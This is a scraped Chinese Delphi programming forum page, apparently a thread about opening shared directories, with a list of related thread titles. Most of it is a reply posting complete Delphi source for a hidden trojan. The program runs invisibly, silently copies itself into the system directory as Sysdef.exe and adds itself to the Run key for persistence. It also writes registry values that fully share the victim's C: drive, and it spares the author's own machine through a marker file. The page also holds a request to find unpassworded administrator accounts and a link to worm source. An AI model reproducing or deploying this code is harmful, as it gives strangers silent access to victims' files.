打开共享目录的问题 在程序中也可以使用 FileListBox1.ApplyFilePath('\\netlib\disk1');如我用上面的代码一样可以打开我共享的文件目录 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 //很不错的代码哦unit main;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;type Tmainform = class(TForm) Timer1: TTimer; procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end;var mainform: Tmainform;implementationuses Registry,shellAPI;{$R *.DFM}procedure Tmainform.FormShow(Sender: TObject);var MyReg:TRegistry; mysyspath:Pchar; F:TShFileOpStruct; file_To,file_From:string;begin//得到用户机系统目录 GetMem(MySysPath,255); GetSystemDirectory(MySysPath,255);//文件名 file_To:=mysyspath+'\Sysdef.exe'; //复制目标文件名 file_From:=application.ExeName; //复制源文件名//以下为注册表修改 MyReg:=TRegistry.Create ; MyReg.RootKey :=HKEY_LOCAL_MACHINE; try if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then ;//指定子键能否打开,如不能则创建它//该子键包含硬盘共享参数 if filesearch('wz.txt',MySysPath)='' then//搜索有否wz.txt文件,有则不执行//该判断用于自己的机子,防止自己被黑,因而在自己的系统目录下建立此文件,则不会被修改 begin MyReg.WriteInteger('Flags',258); //共享为完全共享 MyReg.WriteInteger('Type',0); MyReg.WriteString('Path','C:\'); MyReg.WriteString('Re','你的机子已被黑'); MyReg.CloseKey ; end; if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then ; begin MyReg.WriteString('Sysdef',file_To); //将程序加载到启动中,每次开机自动执行 end; finally MyReg.Free; //释放注册表资源 end;//以下为拷贝文件 with F do begin wnd:=application.Handle; pFrom:=pchar(file_From); pTo:=pchar(file_To); if FileSearch('sysdef.exe',mysyspath)='' then wFunc:=FO_COPY; //文件是否存在,不存在则复制 fFlags:=FOF_SILENT; //不显示Copy动画 end; if ShFileOperation(F)<>0 then ; //此处为文件COPY失败的操作,此程序里为空操作 timer1.Enabled :=true;end;procedure Tmainform.FormCreate(Sender: TObject);begin BorderStyle:=bsNone; height:=0; width:=0; timer1.Enabled :=false; //程序不出现在任务栏 SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);end;procedure Tmainform.Timer1Timer(Sender: TObject);begin close; application.Terminate;end;end. 我要在程序中输入用户名和密码,各位大哥行行好,帮帮我吧!说白了,就是要找安装win2000操作系统的计算机,用户名为administrator,密码没设的。 reportmachine2.6安问题 熊猫烧香的源代码! 为什么我的delphi帮助不能用? delphi5用ado连接oracle8的问题。 "Lottery Microsoft 基础类应用程序"是什么程序? Delphi中怎么样修改注册表中的Dword值? 大家认为c/s结构过时了吗?大家如何看,欢迎讨论! 在Delphi中如何像VB那样创建控件数组? 紧急求救~~~ 如何定义Rect的组合? 关于在别的程序中添加菜单的问题? 出入庫管理問題﹗﹗﹗﹗﹗﹗﹗﹗﹗﹗﹗
unit main;interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;type
Tmainform = class(TForm)
Timer1: TTimer;
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
mainform: Tmainform;implementationuses Registry,shellAPI;{$R *.DFM}procedure Tmainform.FormShow(Sender: TObject);
var
MyReg:TRegistry;
mysyspath:Pchar;
F:TShFileOpStruct;
file_To,file_From:string;
begin
//得到用户机系统目录
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
//文件名
file_To:=mysyspath+'\Sysdef.exe'; //复制目标文件名
file_From:=application.ExeName; //复制源文件名//以下为注册表修改
MyReg:=TRegistry.Create ;
MyReg.RootKey :=HKEY_LOCAL_MACHINE;
try
if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True)
then ;
//指定子键能否打开,如不能则创建它
//该子键包含硬盘共享参数
if filesearch('wz.txt',MySysPath)='' then
//搜索有否wz.txt文件,有则不执行
//该判断用于自己的机子,防止自己被黑,因而在自己的系统目录下建立此文件,则不会被修改
begin
MyReg.WriteInteger('Flags',258); //共享为完全共享
MyReg.WriteInteger('Type',0);
MyReg.WriteString('Path','C:\');
MyReg.WriteString('Re','你的机子已被黑');
MyReg.CloseKey ;
end;
if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True)
then ;
begin
MyReg.WriteString('Sysdef',file_To); //将程序加载到启动中,每次开机自动执行
end;
finally
MyReg.Free; //释放注册表资源
end;//以下为拷贝文件
with F do
begin
wnd:=application.Handle;
pFrom:=pchar(file_From);
pTo:=pchar(file_To);
if FileSearch('sysdef.exe',mysyspath)='' then
wFunc:=FO_COPY; //文件是否存在,不存在则复制
fFlags:=FOF_SILENT; //不显示Copy动画
end;
if ShFileOperation(F)<>0 then
; //此处为文件COPY失败的操作,此程序里为空操作 timer1.Enabled :=true;
end;procedure Tmainform.FormCreate(Sender: TObject);
begin
BorderStyle:=bsNone;
height:=0;
width:=0;
timer1.Enabled :=false;
//程序不出现在任务栏
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;procedure Tmainform.Timer1Timer(Sender: TObject);
begin
close;
application.Terminate;
end;end.